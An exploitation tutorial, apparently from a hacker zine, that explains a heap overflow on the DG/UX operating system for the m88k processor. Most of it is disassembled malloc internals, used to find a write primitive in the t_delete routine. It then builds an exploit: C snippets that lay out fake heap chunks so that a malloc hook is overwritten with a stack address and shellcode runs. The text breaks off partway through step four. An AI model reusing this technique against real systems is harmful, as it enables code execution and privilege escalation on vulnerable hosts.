_ _:. :$$$$$ _ . - +. :l$³³$$ s¿¿,,_ +:@QSSS$$$$$ `` $$$$$$$$bs¿.`"Ù?$$$l [ DGUX Heap Overflow ] 'ÀÀ?$$³$$$$b¿_ . [ hirezia ] `"À$³$b. . [ root@localhost ] `À?b. `. `Ù. + `$ _. ` In this article described practically use of heap overflow on DG/UX. Basic course about m88k processor register and instructions: All instructions 4 bytes long. All constants in big-endian bytes order. Registers: r0 - 0 r1 - return address of function r2-r5 - function parameters r6-r7 - just for fun r9 - used for store syscall number r10-r24 - just for fun r25 - .got table in shared libraries r26-r29 - just for fun r30 - base pointer r31 - stack pointer Instructions: ld r2,0x001038cc <- load in register r2, data from address 0x001038cc st r2,0x001038cc <- save register r2 on address 0x001038cc bsr.n <- call function with execute next instruction before call in r1 - address of instruction + 0x08 bsr <- call without execution next instruction in r1 - address of instruction + 0x04 br <- unconditional jump br.n <- conditional jump with execute next instruction subu r30,r31,0x50 <- r30=r31 - 0x50 addu r30,r31,0x50 <- r30=r31 + 0x50 bcnd.n eq0,r13, <- conditionall (if eq 0)jump with next instruction execute. eq0 - equality; other prefixes of that instruction u may found in gas sources. or.u r24,r0,0xabcd <- load 0xabcd in high word in r24 or r24,r0,0xabcd <- load 0xabcd in low word in r24 ld r3,r22[r11] <- r3 = *(r22+r11) jmp r1 <- unconditional jump on r1 Look at part of program code: ld r2,OUR VICTIM 1038cc: f4 76 16 0b ld r3,r22[r11] <-- Variables defined as part of argument as example ARGV[1] 1038d0: cf ff fc 76 bsr.n <-- HEAP OVERFLOW 1038d4: f4 40 58 19 or r2,r0,r25 Registers state: r2 -> 11EDEC - located in .bss r3 -> 0xeffff513 -> 'AAAAAA...' r31 -> 0xeffff360 -> base pointer r22 -> 0xeffff4b0 -> argv r11 -> 0x00000001 -> argument number. In our case,we overflow not heap,but .bss - but it not big difference,because: 1) Other variables in .bss for our lucky not used (or used but not very much) for the time when called malloc. 2) Memory,which needed for fake chunk create,already mapped and enough for us So, lets see some interesting - algo of heap allocations and free. Starting with malloc - main interest of its function,its possibility of malloc debugging, with hooks, it was used later for code execution. In the beginning,I want pay attention on code part 0x8005f930 - 0x8005f938. In r25 register,we are wrote address of global offset table,by the following way: bsr.n - calling function, in this case, just jump on next instruction,in $r1 stored current eip. Postfix .n - means, what next after jump, command also will executed or r25,r25,0xbd40 - store in register $r25 value 0xbd40 addu r25,r25,r1 - adding our constant 0xbd40 to eip - so, if constant right (of course choice its compiler problem)and in $r25 we have get address of .got table, that allow our shared library, successful and easy accessing their internal data. that trick very good for write long shellcodes. I didn't see any later changes of $r25 register in libraries function, so we may be sure that r25 equality of .got. ---------------------------------------------------------- begin of malloc.S $r25 = 0x800ab678 $r25,0x24 = ADDRESS OF PRE HOOK FLAG $r25,0x28 + 0x20 - incoming variables for hook ($r25,0x24)+0x08 = ADDRESS OF POST HOOK FLAG. 0x8005f920 : subu r31,r31,0x50 0x8005f924 : st.d r24,r31,0x28 0x8005f928 : or.u r25,r0,0x04 0x8005f92c : st r1,r31,0x30 0x8005f930 : bsr.n 0x8005f934 : or r25,r25,0xbd40 0x8005f938 : addu r25,r25,r1 if (hooked) else 0x8005f93c : ld r13,r25,0x24 0x8005f940 : ld r13,r0,r13 0x8005f944 : bcnd.n eq0,r13, 0x8005f948 : or r24,r0,r2 0x8005f94c : ld r2,r25,0x28 0x8005f950 : jsr.n r13 !!!!!!!!!!!!!! 0x8005f954 : addu r2,r2,0x20 0x8005f958 : bcnd eq0,r2, 0x8005f95c : bsr.n <__sev_sh_lib_err> 0x8005f960 : ld r2,r25,0x2c 0x8005f964 : bsr.n <__dg_malloc_unlocked> 0x8005f968 : or r2,r0,r24 0x8005f96c : ld r13,r25,0x24 0x8005f970 : ld r13,r13,0x08 0x8005f974 : bcnd.n eq0,r13, 0x8005f978 : or r24,r0,r2 0x8005f97c : ld r2,r25,0x28 0x8005f980 : jsr.n r13 !!!!!!!!!!!!!!! 0x8005f984 :addu r2,r2,0x20 0x8005f988 :bcnd eq0,r2, 0x8005f98c :bsr.n <__sev_sh_lib_err> 0x8005f990 :ld r2,r25,0x30 0x8005f994 :ld r1,r31,0x30 0x8005f998 :or r2,r0,r24 0x8005f99c :ld.d r24,r31,0x28 0x8005f9a0 :jmp.n r1 0x8005f9a4 :addu r31,r31,0x50 ---------------------------------------------------------- end of malloc.S So, as u see, malloc not doing nothing interesting, so just going in __dg_malloc_unlocked. It more interesting. That function, core of dg/ux mallocs, their do all, and free memory, and add memory. Free - only flagged chunk as not used, but this function and work with chunks lists. So, if interesting u may analyze all jump in this function, but for get positive result and replace any 4 byte with any 4 byte,we needed initiate collector of old chunks. How we initiate it from __dg_malloc_unlocked its dosnt matter. Main things that doing this function(also needed to mention that algo of memory allocation very similar with 'System V AT&T' , that described in http://phrack.org/phrack/57/p57-0x09 , is at that algo or not is unknown but C examples from that article was very useful): > (r25,0x444) if on address of this variable is 0 (it usually on first malloc) going to the end > calling cleanfree (showing later) > next, testing if size less than ( 0x4F (79)) calling smalloc else going next. >__dg_malloc_unlocked - for big parts of memory > r25,0x450 - 0x800ad4a8 - 0 on first pass > r25,0x454 - 0x800ad4ac - 0 on first pass > calling _morecore -> dobrk :) + mark flags > size of mapped memory - *morecore > cleaning working information + block begin = size and on offset 0x10 cleaning second bit (flag) > calculating size that remain after our chunk in memory that mapped by _morecore (their map 4kb parts) and comparise them with 0x5f (header + 0x4f). If more, then write size of our chunk in begin. > marked next chunk for ready > calculate where will header of our (its not chunk what passed to malloc) chunk. > (begin + (4k - size needed for us) - 10) and write size here > cleaning of that chunk > realfree ----------------------------------------------- begin of __dg_malloc_unlocked.S (r25,0x444) if on address of this variable is 0 (it usually on first malloc) going to the end 0x8005faf0 <_func>: subu r31,r31,0x50 0x8005faf4 <_func+4>: st.d r24,r31,0x38 0x8005faf8 <_func+8>: or.u r25,r0,0x04 0x8005fafc <_func+12>: st.d r22,r31,0x30 0x8005fb00 <_func+16>: or r22,r0,r2 0x8005fb04 <_func+20>: st r1,r31,0x40 0x8005fb08 <_func+24>: bsr.n <_func+32> 0x8005fb0c <_func+28>: or r25,r25,0xbb68 r25 = 0x0004bb68 0x8005fb10 <_func+32>: st.d r20,r31,0x28 if (razmer<0) nahuy 0x8005fb14 <_func+36>: bcnd.n lt0,r22, <_func+436> 0x8005fb18 <_func+40>: addu r25,r25,r1 <- EBANUTAYA FICHA if (razmer kraten 16) 0x8005fb1c <_func+44>: mask r12,r22,0x0f 0x8005fb20 <_func+48>: bcnd.n eq0,r12, <_func+60> 0x8005fb24 <_func+52>: addu r13,r22,0x10 ;razmer+0x10 0x8005fb28 <_func+56>: subu r22,r13,r12 -> okruglit do 16 0x8005fb2c <_func+60>: ld r9,r25,0x444 -> ssilka kakayato r9 0x800ad4b4 0x8005fb30 <_func+64>: ld r2,r0,r9 -> prochitali to chto tam esli eta huynia == 0 goto hz kuda 0x8005fb34 <_func+68>: bcnd.n eq0,r2, <_func+200> 0x8005fb38 <_func+72>: subu r23,r2,0x10 0x8005fb3c <_func+76>: tb1 0x01,r0,0xff 0x8005fb40 <_func+80>: ld r10,r0,r23 0x8005fb44 <_func+84>: and r10,r10,0xfffc 0x8005fb48 <_func+88>: cmp r12,r10,r22 0x8005fb4c <_func+92>: bb1.n 0x03,r12, <_func+136> 0x8005fb50 <_func+96>: cmp r13,r22,0x4f 0x8005fb54 <_func+100>: ld r13,r25,0x448 0x8005fb58 <_func+104>: ld r12,r0,r13 0x8005fb5c <_func+108>: ld r11,r25,0x44c 0x8005fb60 <_func+112>: addu r12,r12,0x1f 0x8005fb64 <_func+116>: st r0,r0,r9 0x8005fb68 <_func+120>: mask r12,r12,0x1f 0x8005fb6c <_func+124>: st r12,r0,r13 0x8005fb70 <_func+128>: br.n <_func+592> 0x8005fb74 <_func+132>: st r0,r11[r12] 0x8005fb78 <_func+136>: and r13,r13,r12 0x8005fb7c <_func+140>: extu r13,r13,1<8> 0x8005fb80 <_func+144>: bcnd eq0,r13, <_func+200> 0x8005fb84 <_func+148>: ld r12,r25,0x448 0x8005fb88 <_func+152>: ld r13,r0,r12 0x8005fb8c <_func+156>: ld r11,r25,0x44c 0x8005fb90 <_func+160>: addu r13,r13,0x1f 0x8005fb94 <_func+164>: st r0,r0,r9 0x8005fb98 <_func+168>: mask r13,r13,0x1f 0x8005fb9c <_func+172>: st r13,r0,r12 0x8005fba0 <_func+176>: st r0,r11[r13] 0x8005fba4 <_func+180>: tb1 0x01,r0,0xff 0x8005fba8 <_func+184>: ld r13,r0,r23 0x8005fbac <_func+188>: st r10,r0,r23 0x8005fbb0 <_func+192>: br.n <_func+468> 0x8005fbb4 <_func+196>: mask r20,r13,0x02 0x8005fbb8 <_func+200>: bsr.n 0x8005fbbc <_func+204>: or r2,r0,0 0x8005fbc0 <_func+208>: cmp r13,r22,0x4f 0x8005fbc4 <_func+212>: bb0.n 0x09,r13, <_func+232> 0x8005fbc8 <_func+216>: or r20,r0,0 0x8005fbcc <_func+220>: or r2,r0,r22 0x8005fbd0 <_func+224>: bsr.n <_smalloc> 0x8005fbd4 <_func+228>: addu r1,r1,0x168 0x8005fbd8 <_func+232>: ld r13,r25,0x450 0x8005fbdc <_func+236>: ld r2,r0,r13 0x8005fbe0 <_func+240>: or r23,r0,0 0x8005fbe4 <_func+244>: bcnd.n eq0,r2, <_func+384> 0x8005fbe8 <_func+248>: or r10,r0,0 0x8005fbec <_func+252>: or r24,r0,r2 0x8005fbf0 <_func+256>: tb1 0x01,r0,0xff 0x8005fbf4 <_func+260>: ld r13,r0,r24 0x8005fbf8 <_func+264>: cmp r13,r13,r22 0x8005fbfc <_func+268>: bb1 0x0a,r13, <_func+320> 0x8005fc00 <_func+272>: bcnd eq0,r10, <_func+288> 0x8005fc04 <_func+276>: ld r13,r0,r24 0x8005fc08 <_func+280>: cmp r13,r10,r13 0x8005fc0c <_func+284>: bb1 0x0a,r13, <_func+300> 0x8005fc10 <_func+288>: or r23,r0,r24 0x8005fc14 <_func+292>: tb1 0x01,r0,0xff 0x8005fc18 <_func+296>: ld r10,r0,r24 0x8005fc1c <_func+300>: tb1 0x01,r0,0xff 0x8005fc20 <_func+304>: ld r13,r24,0x20 0x8005fc24 <_func+308>: bcnd eq0,r13, <_func+340> 0x8005fc28 <_func+312>: ld r24,r24,0x20 0x8005fc2c <_func+316>: br <_func+256> 0x8005fc30 <_func+320>: tb1 0x01,r0,0xff 0x8005fc34 <_func+324>: ld r13,r24,0x30 0x8005fc38 <_func+328>: bcnd eq0,r13, <_func+340> 0x8005fc3c <_func+332>: ld r24,r24,0x30 0x8005fc40 <_func+336>: br <_func+256> 0x8005fc44 <_func+340>: bcnd.n eq0,r23, <_func+356> 0x8005fc48 <_func+344>: or r2,r0,r23 0x8005fc4c <_func+348>: bsr.n 0x8005fc50 <_func+352>: addu r1,r1,0x1c 0x8005fc54 <_func+356>: ld r21,r25,0x450 0x8005fc58 <_func+360>: ld r13,r0,r21 0x8005fc5c <_func+364>: cmp r13,r24,r13 0x8005fc60 <_func+368>: bb0 0x03,r13, <_func+384> 0x8005fc64 <_func+372>: bsr.n 0x8005fc68 <_func+376>: or r2,r0,r24 0x8005fc6c <_func+380>: st r24,r0,r21 0x8005fc70 <_func+384>: bcnd ne0,r23, <_func+444> 0x8005fc74 <_func+388>: ld r13,r25,0x454 0x8005fc78 <_func+392>: ld r2,r0,r13 0x8005fc7c <_func+396>: bcnd eq0,r2, <_func+420> 0x8005fc80 <_func+400>: tb1 0x01,r0,0xff 0x8005fc84 <_func+404>: ld r13,r0,r2 0x8005fc88 <_func+408>: cmp r13,r22,r13 0x8005fc8c <_func+412>: bb1.n 0x09,r13, <_func+444> 0x8005fc90 <_func+416>: or r23,r0,r2 0x8005fc94 <_func+420>: bsr.n <_morecore> 0x8005fc98 <_func+424>: or r2,r0,r22 0x8005fc9c <_func+428>: or r23,r0,r2 0x8005fca0 <_func+432>: bcnd ne0,r23, <_func+444> 0x8005fca4 <_func+436>: br.n <_func+592> 0x8005fca8 <_func+440>: or r2,r0,0 0x8005fcac <_func+444>: tb1 0x01,r0,0xff 0x8005fcb0 <_func+448>: ld r12,r0,r23 0x8005fcb4 <_func+452>: addu r12,r23,r12 0x8005fcb8 <_func+456>: ld r13,r12,0x10 0x8005fcbc <_func+460>: and r13,r13,0xfffd 0x8005fcc0 <_func+464>: st r13,r12,0x10 0x8005fcc4 <_func+468>: tb1 0x01,r0,0xff 0x8005fcc8 <_func+472>: ld r13,r0,r23 0x8005fccc <_func+476>: subu r10,r13,r22 0x8005fcd0 <_func+480>: cmp r13,r10,0x5f 0x8005fcd4 <_func+484>: bb1 0x09,r13, <_func+528> 0x8005fcd8 <_func+488>: st r22,r0,r23 0x8005fcdc <_func+492>: tb1 0x01,r0,0xff 0x8005fce0 <_func+496>: ld r13,r0,r23 0x8005fce4 <_func+500>: subu r10,r10,0x10 0x8005fce8 <_func+504>: addu r13,r23,r13 0x8005fcec <_func+508>: or r12,r10,0x01 0x8005fcf0 <_func+512>: addu r2,r13,0x20 0x8005fcf4 <_func+516>: st r12,r13,0x10 0x8005fcf8 <_func+520>: bsr.n 0x8005fcfc <_func+524>: addu r1,r1,0x28 0x8005fd00 <_func+528>: tb1 0x01,r0,0xff 0x8005fd04 <_func+532>: ld r13,r0,r23 0x8005fd08 <_func+536>: ld r12,r25,0x458 0x8005fd0c <_func+540>: addu r13,r13,r23 0x8005fd10 <_func+544>: ld r12,r0,r12 0x8005fd14 <_func+548>: addu r13,r13,0x20 0x8005fd18 <_func+552>: cmp r13,r13,r12 0x8005fd1c <_func+556>: bb1 0x03,r13, <_func+568> 0x8005fd20 <_func+560>: ld r13,r25,0x454 0x8005fd24 <_func+564>: st r0,r0,r13 0x8005fd28 <_func+568>: tb1 0x01,r0,0xff 0x8005fd2c <_func+572>: ld r13,r0,r23 0x8005fd30 <_func+576>: or r13,r13,0x01 0x8005fd34 <_func+580>: addu r2,r23,0x10 0x8005fd38 <_func+584>: or r13,r13,r20 0x8005fd3c <_func+588>: st r13,r0,r23 0x8005fd40 <_func+592>: ld r1,r31,0x40 0x8005fd44 <_func+596>: ld.d r24,r31,0x38 0x8005fd48 <_func+600>: ld.d r22,r31,0x30 0x8005fd4c <_func+604>: ld.d r20,r31,0x28 0x8005fd50 <_func+608>: jmp.n r1 0x8005fd54 <_func+612>: addu r31,r31,0x50 ------------------------------------------------- end of __dg_malloc_unlocked.S So time to understand how in this algorithm chunks creating. ?hunk header have minimum size in 0x10 bytes. chunk_header = mem_pointer - 0x10 ----------------------------------------------------------- middle chunk length | | | flags| | 6 bit | 2bit | 8 bit |8 bit |8 bit | 0000000010 0000000000 0000000000 0000000000 <- header AAAAAAAAAA AAAAAAAAAA AAAAAAAAAA AAAAAAAAAA <- data ----------------------------------------------------------- Length of chunk always divisible on 4.So,it possible to use 2 bits of a length for service info. Chunks consists of three various types, algo of allocate in which very different. 1) small - less then 0x4F (that constant, coz of upper function description). 2) middle - more then 0x4F,but less 4k - that's chunks in which when out space always mapped 4k, but all other space give for small chunk. 3) big - chunks for which mapped more then 4kb. In our program first malloc after overflow was 0x400 bytes,so its middle chunk, so algo of middle chunks allocate will discuss. That chunks is a bi-directional list. So as u see, __dg_malloc_unlocked for create chunk call cleanfree - for cleaned all not used chunks purposes. But it a wrapper for realfree. ---------------------------------------------------------- begin of cleanfree.S x80060928 : subu r31,r31,0x40 0x8006092c : st.d r24,r31,0x28 0x80060930 : or.u r25,r0,0x04 0x80060934 : st r1,r31,0x30 0x80060938 : bsr.n 0x8006093c : or r25,r25,0xad38 0x80060940 : st.d r22,r31,0x20 0x80060944 : addu r25,r25,r1 0x80060948 : ld r13,r25,0x448 0x8006094c : ld r12,r25,0x44c 0x800ad4b8 0x80060950 : ld r13,r0,r13 0 0x80060954 : or r23,r0,r12 0x80060958 : or r22,r0,r2 0x8006095c : lda r24,r23[r13] ?????? 0x80060960 : cmp r13,r24,r23 0x80060964 : bb1 0x03,r13, 0x80060968 : addu r24,r24,0x80 0x8006096c : subu r24,r24,0x04 0x80060970 : ld r2,r0,r24 0x80060974 : bcnd.n eq0,r2, 0x80060978 : cmp r13,r2,r22 0x8006097c : bb0 0x03,r13, 0x80060980 : bsr 0x80060984 : br.n 0x80060988 : st r0,r0,r24 0x8006098c : ld r13,r25,0x448 0x80060990 : ld r12,r25,0x444 0x80060994 : st r0,r0,r13 0x80060998 : st r0,r0,r12 0x8006099c : ld r1,r31,0x30 0x800609a0 : ld.d r24,r31,0x28 0x800609a4 : ld.d r22,r31,0x20 0x800609a8 : jmp.n r1 0x800609ac : addu r31,r31,0x40 ----------------------------------------------------------- end of cleanfree.S The main task of realfree its walking via bi-directional list and except from it (t_delete) deleted chunks. realfree > get chunk size - (r2-0x10) > aligned it for %4 > test it with 0x4f > see on next chunk > if chunk on this situation last, then doing next actions, else doing t_delete for chunk > marking *(chank_head+0x40) = 0 > marking *(chank_head+0x30) = 0 > marking *(chank_head+0x20) = 0 > marking *(chank_head+0x10) = 0 > load on next chunk address his values > next > r25,0x458 - 0x800ad4b0 - 0 > r25,0x454 - on that address write end of cleaned chunk > setup on chunk 10 ----------------------------------------------------------- begin of realfree.S 0x800600f0 : subu r31,r31,0x50 0x800600f4 : st r1,r31,0x40 0x800600f8 : st.d r24,r31,0x38 0x800600fc : or.u r25,r0,0x04 0x80060100 : st.d r22,r31,0x30 0x80060104 : subu r23,r2,0x10 0x80060108 : st r21,r31,0x2c 0x8006010c : bsr.n 0x80060110 : or r25,r25,0xb564 0x80060114 : tb1 0x01,r0,0xff 0x80060118 : ld r21,r0,r23 0x8006011c : bb0.n 0,r21, 0x80060120 : addu r25,r25,r1 0x80060124 : ld r13,r0,r23 0x80060128 : and r13,r13,0xfffc 0x8006012c : st r13,r0,r23 0x80060130 : tb1 0x01,r0,0xff 0x80060134 : ld r13,r0,r23 0x80060138 : cmp r13,r13,0x4f 0x8006013c : bb0 0x09,r13, 0x80060140 : ld r13,r0,r23 0x80060144 : extu r13,r13,0<4> 0x80060148 : ld r12,r25,0x440 0x8006014c : subu r21,r13,0x01 0x80060150 : ld r13,r12[r21] 0x80060154 : st r13,r0,r2 0x80060158 : br.n 0x8006015c : st r23,r12[r21] 0x80060160 : tb1 0x01,r0,0xff 0x80060164 : ld r13,r0,r23 0x80060168 : addu r22,r23,r13 0x8006016c : ld r13,r22,0x10 0x80060170 : bb1.n 0,r13, 0x80060174 : addu r24,r22,0x10 0x80060178 : ld r13,r25,0x454 0x8006017c : ld r13,r0,r13 0x80060180 : cmp r13,r24,r13 0x80060184 : bb0 0x03,r13, 0x80060188 : bsr.n 0x8006018c : or r2,r0,r24 0x80060190 : tb1 0x01,r0,0xff 0x80060194 : ld r13,r0,r23 0x80060198 : ld r12,r22,0x10 0x8006019c : addu r13,r13,0x10 0x800601a0 : addu r13,r13,r12 0x800601a4 : st r13,r0,r23 0x800601a8 : bb0.n 0x01,r21, 0x800601ac : subu r13,r0,0x10 0x800601b0 : ld r24,r23,r13 0x800601b4 : bsr.n 0x800601b8 : or r2,r0,r24 0x800601bc : tb1 0x01,r0,0xff 0x800601c0 : ld r13,r0,r24 0x800601c4 : ld r12,r0,r23 0x800601c8 : addu r13,r13,0x10 0x800601cc : or r23,r0,r24 0x800601d0 : addu r13,r13,r12 0x800601d4 : st r13,r0,r23 0x800601d8 : st r0,r23,0x40 0x800601dc : tb1 0x01,r0,0xff 0x800601e0 : ld r13,r23,0x40 0x800601e4 : st r13,r23,0x30 0x800601e8 : tb1 0x01,r0,0xff 0x800601ec : ld r13,r23,0x30 0x800601f0 : st r13,r23,0x20 0x800601f4 : tb1 0x01,r0,0xff 0x800601f8 : ld r13,r23,0x20 0x800601fc : st r13,r23,0x10 0x80060200 : tb1 0x01,r0,0xff 0x80060204 : ld r13,r0,r23 0x80060208 : st r23,r23,r13 0x8006020c : ld r13,r0,r23 0x80060210 : ld r12,r25,0x458 0x80060214 : addu r13,r13,r23 0x80060218 : ld r12,r0,r12 0x8006021c : addu r13,r13,0x20 0x80060220 : cmp r13,r13,r12 0x80060224 : bb1 0x03,r13, 0x80060228 : ld r13,r25,0x454 0x8006022c : br.n 0x80060230 : st r23,r0,r13 0x80060234 : ld r13,r25,0x450 0x80060238 : ld r2,r0,r13 0x8006023c : bcnd eq0,r2, 0x80060240 : tb1 0x01,r0,0xff 0x80060244 : ld r12,r0,r23 0x80060248 : or r24,r0,r2 0x8006024c : or r11,r0,r13 0x80060250 : subu r10,r0,0x01 0x80060254 : tb1 0x01,r0,0xff 0x80060258 : ld r13,r0,r24 0x8006025c : cmp r13,r13,r12 0x80060260 : bb1 0x09,r13, 0x80060264 : ld r13,r24,0x20 0x80060268 : bcnd eq0,r13, 0x8006026c : ld r24,r24,0x20 0x80060270 : br 0x80060274 : st r23,r24,0x20 0x80060278 : st r24,r23,0x10 0x8006027c : br 0x80060280 : tb1 0x01,r0,0xff 0x80060284 : ld r13,r0,r24 0x80060288 : cmp r13,r13,r12 0x8006028c : bb0 0x0a,r13, 0x80060290 : ld r13,r24,0x30 0x80060294 : bcnd eq0,r13, 0x80060298 : ld r24,r24,0x30 0x8006029c : br 0x800602a0 : st r23,r24,0x30 0x800602a4 : st r24,r23,0x10 0x800602a8 : br 0x800602ac : tb1 0x01,r0,0xff 0x800602b0 : ld r12,r24,0x10 0x800602b4 : bcnd eq0,r12, 0x800602b8 : ld r13,r12,0x20 0x800602bc : cmp r13,r24,r13 0x800602c0 : bb1 0x03,r13, 0x800602c4 : st r23,r12,0x20 0x800602c8 : br 0x800602cc : st r23,r12,0x30 0x800602d0 : st r12,r23,0x10 0x800602d4 : br 0x800602d8 : st r23,r0,r11 0x800602dc : tb1 0x01,r0,0xff 0x800602e0 : ld r12,r24,0x20 0x800602e4 : bcnd eq0,r12, 0x800602e8 : st r23,r12,0x10 0x800602ec : st r12,r23,0x20 0x800602f0 : tb1 0x01,r0,0xff 0x800602f4 : ld r12,r24,0x30 0x800602f8 : bcnd eq0,r12, 0x800602fc : st r23,r12,0x10 0x80060300 : st r12,r23,0x30 0x80060304 : st r24,r23,0x40 0x80060308 : st r23,r24,0x10 0x8006030c : st r10,r24,0x20 0x80060310 : br 0x80060314 : st r23,r0,r13 0x80060318 : tb1 0x01,r0,0xff 0x8006031c : ld r12,r0,r23 0x80060320 : addu r12,r23,r12 0x80060324 : ld r13,r12,0x10 0x80060328 : or r13,r13,0x02 0x8006032c : st r13,r12,0x10 0x80060330 : ld r1,r31,0x40 0x80060334 : ld r21,r31,0x2c 0x80060338 : ld.d r24,r31,0x38 0x8006033c : ld.d r22,r31,0x30 0x80060340 : jmp.n r1 0x80060344 : addu r31,r31,0x50 ----------------------------------------------------------- end of realfree.S So we are now finish - t_delete.Pay u attention on part 0x800604c0-0x800604d4. $r24 = $r2 = address of chunk, e.g. memory that controlled by us. So, we are write on address *(*(chank+0x10)+0x40)=*(chank+0x10). One thing that not good, what we also write on address 0x40. So, shellcode, must be in 16 instructions, or needed jump in shellcode body. We will do second variant. coz: 1) - 16 bytes its enough, but who know that will do in future. 2) - we will jumping across stack, its problem not solved by standart nops coz in front on 0x40 offset Illegal Instruction will wait for us :) ----------------------------------------------------------- begin of t_delete.S 0x80060490 : subu r31,r31,0x40 0x80060494 : st r1,r31,0x30 0x80060498 : st.d r24,r31,0x28 0x8006049c : or r24,r0,r2 0x800604a0 : or.u r25,r0,0x04 0x800604a4 : tb1 0x01,r0,0xff 0x800604a8 : ld r13,r24,0x20 0x800604ac : bsr.n 0x800604b0 : or r25,r25,0xb1c4 0x800604b4 : addu r13,r13,0x01 0x800604b8 : bcnd.n ne0,r13, 0x800604bc : addu r25,r25,r1 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 0x800604c0 : ld r10,r24,0x10 0x800604c4 : ld r12,r24,0x40 0x800604c8 : bcnd eq0,r12, 0x800604cc : st r10,r12,0x10 0x800604d0 : st r12,r10,0x40 0x800604d4 : br !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 0x800604d8 : tb1 0x01,r0,0xff 0x800604dc : ld r13,r24,0x10 0x800604e0 : bcnd eq0,r13, 0x800604e4 : bsr.n 0x800604e8 : or r2,r0,r24 0x800604ec : tb1 0x01,r0,0xff 0x800604f0 : ld r10,r24,0x40 0x800604f4 : bcnd eq0,r10, 0x800604f8 : st r0,r10,0x10 0x800604fc : tb1 0x01,r0,0xff 0x80060500 : ld r12,r24,0x20 0x80060504 : bcnd eq0,r12, 0x80060508 : st r10,r12,0x10 0x8006050c : st r12,r10,0x20 0x80060510 : tb1 0x01,r0,0xff 0x80060514 : ld r12,r24,0x30 0x80060518 : bcnd eq0,r12, 0x8006051c : st r10,r12,0x10 0x80060520 : ld r13,r25,0x450 0x80060524 : st r12,r10,0x30 0x80060528 : br.n 0x8006052c : st r10,r0,r13 0x80060530 : tb1 0x01,r0,0xff 0x80060534 : ld r10,r24,0x20 0x80060538 : bcnd eq0,r10, 0x8006053c : st r0,r10,0x10 0x80060540 : tb1 0x01,r0,0xff 0x80060544 : ld r13,r24,0x30 0x80060548 : bcnd eq0,r13, 0x8006054c : tb1 0x01,r0,0xff 0x80060550 : ld r12,r10,0x30 0x80060554 : bcnd eq0,r12, 0x80060558 : ld r11,r12,0x30 0x8006055c : bcnd eq0,r11, 0x80060560 : ld r13,r11,0x20 0x80060564 : st r13,r12,0x30 0x80060568 : tb1 0x01,r0,0xff 0x8006056c : ld r13,r12,0x30 0x80060570 : bcnd eq0,r13, 0x80060574 : ld r13,r12,0x30 0x80060578 : st r12,r13,0x10 0x8006057c : tb1 0x01,r0,0xff 0x80060580 : ld r13,r10,0x10 0x80060584 : st r13,r11,0x10 0x80060588 : tb1 0x01,r0,0xff 0x8006058c : ld r13,r11,0x10 0x80060590 : bcnd eq0,r13, 0x80060594 : ld r13,r10,0x10 0x80060598 : ld r13,r13,0x20 0x8006059c : cmp r13,r13,r10 0x800605a0 : bb1 0x03,r13, 0x800605a4 : ld r13,r11,0x10 0x800605a8 : st r11,r13,0x20 0x800605ac : br 0x800605b0 : tb1 0x01,r0,0xff 0x800605b4 : ld r13,r11,0x10 0x800605b8 : st r11,r13,0x30 0x800605bc : st r11,r10,0x10 0x800605c0 : st r10,r11,0x20 0x800605c4 : br.n 0x800605c8 : or r10,r0,r11 0x800605cc : tb1 0x01,r0,0xff 0x800605d0 : ld r13,r12,0x20 0x800605d4 : st r13,r10,0x30 0x800605d8 : tb1 0x01,r0,0xff 0x800605dc : ld r13,r10,0x30 0x800605e0 : bcnd eq0,r13, 0x800605e4 : ld r13,r10,0x30 0x800605e8 : st r10,r13,0x10 0x800605ec : tb1 0x01,r0,0xff 0x800605f0 : ld r13,r10,0x10 0x800605f4 : st r13,r12,0x10 0x800605f8 : tb1 0x01,r0,0xff 0x800605fc : ld r13,r12,0x10 0x80060600 : bcnd eq0,r13, 0x80060604 : ld r13,r10,0x10 0x80060608 : ld r13,r13,0x20 0x8006060c : cmp r13,r13,r10 0x80060610 : bb1 0x03,r13, 0x80060614 : ld r13,r12,0x10 0x80060618 : st r12,r13,0x20 0x8006061c : br 0x80060620 : tb1 0x01,r0,0xff 0x80060624 : ld r13,r12,0x10 0x80060628 : st r12,r13,0x30 0x8006062c : st r10,r12,0x20 0x80060630 : st r12,r10,0x10 0x80060634 : br.n 0x80060638 : or r10,r0,r12 0x8006063c : tb1 0x01,r0,0xff 0x80060640 : ld r13,r24,0x30 0x80060644 : st r13,r10,0x30 0x80060648 : tb1 0x01,r0,0xff 0x8006064c : ld r13,r10,0x30 0x80060650 : st r10,r13,0x10 0x80060654 : br 0x80060658 : tb1 0x01,r0,0xff 0x8006065c : ld r10,r24,0x30 0x80060660 : bcnd eq0,r10, 0x80060664 : st r0,r10,0x10 0x80060668 : ld r13,r25,0x450 0x8006066c : st r10,r0,r13 0x80060670 : ld r1,r31,0x30 0x80060674 : ld.d r24,r31,0x28 0x80060678 : jmp.n r1 0x8006067c : addu r31,r31,0x40 ----------------------------------------------------------- end of t_delete.S Question what we will write we are known - address of stack with shellcode. Needed to know in where, .plt table not much, since addressing of all code segment starting with NULL. So, for solve that problem, we will use already mentioned malloc hooks. Good things, what their located in malloc, so no bus_error and access unmaped pages, bad things it is depends of libc. But its not terrible, because address where hook lie, we may simple find in libc.so. So, will trying to unite all info. And quick describe what needed to do. 1) Find already worked last chunk. for example 0x0011d3c8 2) Find size of malloc that call from program. example 0x400, and create on address (0x0011d3c8+0x400+0x10) chunk with length of small negative number (it's not necessary, but for space economy) // BB chunk with which program will work when malloc called // BB = 0x0011d3c8 + 0x400 + 0x10 // STARTEVIL - OUR VICTIM (see begin of article) unsigned int STARTEVIL=0x0011ee50; FIRSTCH=BB-0x410; CHANKINF=STARTEVIL; EVILCH=STARTEVIL+0x400-BB; I calculated length in that manner, that let me appeared in begin of my memory that been rewrited. 3) Create chunk which will in middle of list (needed for t_delete) but, with necessary to kill them. unsigned int EVILCH40=0x800aca28; // LOOK at *(.got+0x24)+0x08+0x10 unsigned int EVILCH10=0xeffffeec; // SP unsigned int EVILCH0=0xFFFFFFC0; // mark that chunk needed to delete unsigned int EVILCH20=0xFFFFFFFF; // for a good lucky (some of these // bits must be 1) memcpy(evil+FIRSTCH-STARTEVIL,&EVILCH,4); memcpy(evil+CHANKINF-STARTEVIL,&EVILCH0,4); memcpy(evil+CHANKINF-STARTEVIL+0x10,&EVILCH10,4); memcpy(evil+CHANKINF-STARTEVIL+0x20,&EVILCH20,4); memcpy(evil+CHANKINF-STARTEVIL+0x40,&EVILCH40,4); 4) 